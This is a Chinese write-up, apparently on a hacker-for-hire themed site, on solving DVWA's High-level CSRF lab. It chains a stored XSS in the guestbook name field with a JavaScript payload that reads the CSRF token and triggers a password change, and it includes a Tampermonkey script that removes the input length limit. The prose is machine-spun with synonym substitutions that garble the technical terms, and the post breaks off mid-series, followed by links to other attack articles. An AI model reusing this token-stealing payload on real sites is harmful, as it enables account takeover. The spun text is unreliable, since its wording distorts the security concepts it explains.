DVWA 1.10 High等级的CSRF另类通关法-黑客接单平台

访客6年前黑客文章1011
网上有许多关于CSRF High等级的通关记载,可是都有一个缺点,没有做到主动触发修正暗码。这儿记载了我在解题时的思路,趁便共享出来抛砖引玉,期望大佬们不吝赐教哈 0×00 简略剖析一下CSRF后端逻辑 vulnerabilitiescsrfsourcehigh.php if( isset( $_GET[ 'Change' ] ) ) { // 验证 Token 假如不正确则跳转到index.php // dvwaincludesdvwaPage.inc.php:527 checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); //...中心省掉,只重视上下这两个函数... // 生成 Token , 使用了 md5( uniqid() ),所以简直不行能猜测到Token值 // dvwaincludesdvwaPage.inc.php:527 generateSessionToken(); ?> (这儿仅仅简略阐明一下逻辑,本站已有长辈详细剖析过源码) 因为使用了不行猜测到的token,所以咱们首要想到的思路,便是找一个XSS缝隙来合作,先经过XSS取得token之后修正暗码。 0×01 突破点 XSS-Stored vulnerabilitiesxss_ssourcehigh.php if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // strip_tags去除了HTML标签,htmlspecialchars 转义特别字符&"为实体 $message = strip_tags( addslashes( $message ) ); ... $message = htmlspecialchars( $message ); // $name并没有像上面相同严厉过滤,只用正则简略的做了除掉,导致了XSS的或许,可是有约束下面会说 $name = preg_replace( '/, '', $name ); ... // 将$message、$name刺进数据表 $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; ... //mysql_close(); } ?> 这儿现已剖析确认了$name可被咱们利用做XSS,这样就可以合作CSRF来重置用户暗码了。 需求先阐明一下DVWA的数据库规划,guestbook表的name字段类型为varchar(100),也便是说最多name只能写入100个字符,超越的字符会被数据库扔掉不存储。 那么怎么做到bypass呢,便是本文要表达的重点了。 0×02 前端先设置油猴脚本 因为DVWA前端的Name字段约束长度10个字符,并且测验过程中发包次数许多,每次都要修正长度就很烦,这儿就可以让油猴替代咱们修正,当然你也可以用Burpsuite发包,我这儿只写了自己的测验办法。 *** W: 这儿没有修正DVWA后端源码,以保证跟我们的代码共同。 // ==UserScript== // @name 改掉DVWA烦人的长度约束 // @namespace http://tampermonkey.net/ // @version 0.1 // @description try to take over the world! // @author F1tz // @match http://dvwa.lab/vulnerabilities/xss_s/ // @grant none // ==/UserScript== (function() { 'use strict'; var N = document.getElementsByName('txtName'); var M = document.getElementsByName('mtxMessage'); N[0].maxLength=100; N[0].size=60; M[0].value=1; })(); 装置脚本,并保证脚本处于启用状况。 这时候翻开测验页面,就可以直接输入最多100个字符了,并且Message会主动填入1。 下面开端测验。 0×03 一次失利的测验 结构payload: 先刺进了一个iframe标报到留言板 "../csrf"> 并在控制台履行测验payload句子 f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t; [1][2][3]黑客接单网

相关文章

运用SQLMap进行Access注入

1.1运用sqlmap进行access注入 关于存在access注入的站点,能够经过手艺注入或许东西注入来获取access数据库中的表以及内容,特别是获取网站后台办理表中的用户名及其暗码。 1.1.1...

服务端模板注入:现代WEB长途代码履行

0x01 开发Exploit 许多的模板引擎都会企图约束模板程序履行恣意代码才能,来防止应用层逻辑对表达式引擎的进犯。还有一些模板引擎则测验经过沙盒等手法来安全处理不可信的用户输入。在这些办法之下,开...

基于排序的SQL猜解问题-黑客接单平台

问题的发现 最近在对公司后台代码安全审计的过程中,发现了一种有意思的缝隙类型,一种依据排序的SQL猜解进犯问题,咱们且抽一段片段代码来看一下 "queryUsers" resultType="com....

用于浸透测验WordPress的Ruby结构:WordPress Exploit Framework

这个Ruby结构包括一些能够浸透测验WordPress网站和体系的模块,用户也能够自己开发模块扩展其功用。 运转它需求什么条件? 保证体系上装置了Ruby 2.2.x,翻开一个指令行窗口,切换当时目录...

解析NanoCore犯罪软件攻击链-黑客接单平台

网络犯罪分子常常会选用多层的加密或混杂技能来躲避安全产品的检测。对加密器和封装器的运用在当今歹意软件范畴正变得越来越盛行,它们不只能为歹意代码供给所谓的“FUD”(彻底无法检测)功用,而且还能躲藏额定...

如何逃逸Sysmon工具对DNS的监控-黑客接单平台

Sysmon是微软的一款轻量级的体系监控东西,最开端是由Sysinternals开发的,后来Sysinternals被微软收买,现在归于Sysinternals系列东西。它通过体系服务和驱动程序完成记...